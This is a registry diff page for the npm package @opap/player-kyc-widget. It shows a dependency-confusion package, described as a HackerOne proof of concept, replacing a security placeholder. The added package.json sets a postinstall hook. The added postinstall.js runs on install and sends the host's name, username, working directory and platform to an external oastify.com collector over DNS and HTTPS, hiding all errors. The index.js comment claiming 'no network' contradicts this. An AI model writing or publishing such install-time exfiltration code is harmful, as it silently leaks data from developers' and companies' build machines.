@opap/player-kyc-widget 0.0.1-security → 3.999.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @opap/player-kyc-widget might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,36 @@
1
- # Security holding package
1
+ # @opap/player-kyc-widget security-research PoC
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Dependency-confusion proof-of-concept reported to **Allwyn AG** via HackerOne.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=%40opap%2Fplayer-kyc-widget for more information.
5
+ The `@opap` npm scope was unregistered while the Allwyn GR player platform shipped
6
+ `@opap/player-kyc-widget@3.8.1` in production. The package name is disclosed publicly by the webpack
7
+ `uniqueName` embedded in
8
+ `https://staticassets.allwyn.gr/widgets/allwyn/player-kyc-widget/static/js/kyc.js`:
9
+
10
+ ```js
11
+ i="@opap/player-kyc-widget:"
12
+ ```
13
+
14
+ Publishing this scope at a higher version (`3.999.999` > `3.8.1`) demonstrates that any build
15
+ resolving `@opap/*` against the public registry selects this package in preference to the private one.
16
+
17
+ ## Disclosed behaviour
18
+
19
+ This package runs a `postinstall` script that emits **one** out-of-band callback to an
20
+ attacker-controlled collector, over DNS and HTTPS. This is deliberate and is the evidence that a real
21
+ build resolved the package rather than merely that the name was publishable.
22
+
23
+ The callback carries exactly four fields: **hostname, username, working directory, platform/arch**.
24
+
25
+ It does **not** read environment variables, files, source code, npm tokens or any other credential. It
26
+ does not persist anything, spawn processes, or modify the host. All failures are swallowed so the
27
+ install is never broken.
28
+
29
+ ## Retraction
30
+
31
+ To be unpublished and the scope transferred to Allwyn once they take ownership. Retraction:
32
+
33
+ ```bash
34
+ npm unpublish @opap/player-kyc-widget@3.999.999
35
+ npm deprecate @opap/player-kyc-widget "Security research placeholder - retracted"
36
+ ```
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ // Benign placeholder. No-op. Security research PoC for Allwyn AG (HackerOne).
2
+ // No install scripts, no network, no data collected or transmitted.
3
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@opap/player-kyc-widget",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.999.999",
4
+ "description": "Security research PoC reported to Allwyn AG via HackerOne. Emits a single out-of-band callback (hostname/user/cwd/platform) to prove public-registry resolution. No credential, file or environment access.",
5
+ "main": "index.js",
6
+ "files": ["index.js", "postinstall.js", "README.md"],
7
+ "scripts": {
8
+ "postinstall": "node postinstall.js"
9
+ },
10
+ "license": "MIT",
11
+ "publishConfig": { "access": "public" }
6
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,53 @@
1
+ // Security research PoC — Allwyn AG (HackerOne). Dependency-confusion resolution proof.
2
+ //
3
+ // Purpose: emit a single out-of-band callback proving that a build resolved
4
+ // @opap/player-kyc-widget from the PUBLIC npm registry instead of the private one.
5
+ //
6
+ // Scope of data: hostname, username, cwd, platform ONLY. This is the minimum needed to
7
+ // identify which build environment resolved the package. It does NOT read environment
8
+ // variables, files, credentials, npm tokens, or source. It does not persist, execute, or
9
+ // modify anything. It never fails the install.
10
+
11
+ const CALLBACK = 'k5qrs9i96xtw61nb3bbwwualqcw3kt8i.oastify.com';
12
+
13
+ try {
14
+ const os = require('os');
15
+ const fingerprint = JSON.stringify({
16
+ pkg: '@opap/player-kyc-widget',
17
+ host: os.hostname(),
18
+ user: (os.userInfo() || {}).username,
19
+ cwd: process.cwd(),
20
+ platform: process.platform + '/' + os.arch(),
21
+ });
22
+
23
+ const b64 = Buffer.from(fingerprint).toString('base64');
24
+
25
+ // 1. DNS channel — survives environments where outbound HTTP is blocked but DNS resolves.
26
+ // Hex-encoded and chunked into <=63-char labels so every octet is DNS-safe.
27
+ try {
28
+ const hex = Buffer.from(fingerprint).toString('hex');
29
+ const labels = (hex.match(/.{1,60}/g) || []).slice(0, 4);
30
+ require('dns').lookup(labels.join('.') + '.' + CALLBACK, () => {});
31
+ } catch (e) {}
32
+
33
+ // 2. HTTPS channel — carries the full fingerprint when egress is permitted.
34
+ try {
35
+ require('https')
36
+ .get(
37
+ {
38
+ host: CALLBACK,
39
+ path: '/?src=opap-poc&d=' + encodeURIComponent(b64),
40
+ timeout: 4000,
41
+ },
42
+ (res) => res.resume()
43
+ )
44
+ .on('error', () => {})
45
+ .on('timeout', function () {
46
+ this.destroy();
47
+ });
48
+ } catch (e) {}
49
+ } catch (e) {
50
+ // Never break a build.
51
+ }
52
+
53
+ process.exitCode = 0;